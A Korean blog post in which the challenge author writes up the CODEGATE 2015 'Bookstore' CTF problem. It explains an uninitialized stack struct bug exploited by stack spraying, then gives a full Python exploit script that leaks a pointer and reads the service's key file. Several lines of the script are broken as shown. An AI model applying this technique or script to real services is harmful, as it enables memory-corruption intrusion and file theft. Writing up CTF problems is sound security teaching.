sweetchip's blog



올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데


사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.


그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ


나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.


그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..


나오게된 셀프 Write-Up!



Bookstore -

bookstore_bin


Bug Class : Uninitialized memory reference


문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.


바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.


아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 문제를 풀고나면 생각보다 간단했을 것이다.



이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.


예를들어서 위와 같은 구조체가 있다고 하자.



이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.


그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.

그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 초기화 하지 않은 부분이다.


아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.

사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?

문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.

사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.


그렇다면 다시 살펴보자.

위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.

그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.


위는 스택 스프레이가 진행된 모습이다.


그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. (s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.)


위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.


그래서 탄생한 Exploit 은 다음과 같다.



#Exploit


from socket import *

import struct

import os

p = lambda x : struct.pack("


ip = "0.0.0.0" # blind

port = 31337


print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


#def s(s, a):

# s.sendall(a)


print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")


print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)



s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)



s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]


point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))


s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)



s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)



s.sendall("3\n") # create vuln object

print r(s)


s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)



s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)


s.sendall("0\n") # back to main menu

print r(s)


s.sendall("4\n") # show list

print r(s)


s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()



곧바로 다음 포스팅은 본선에 출제된 bookstore2...


감사합니다.


신고

댓글 0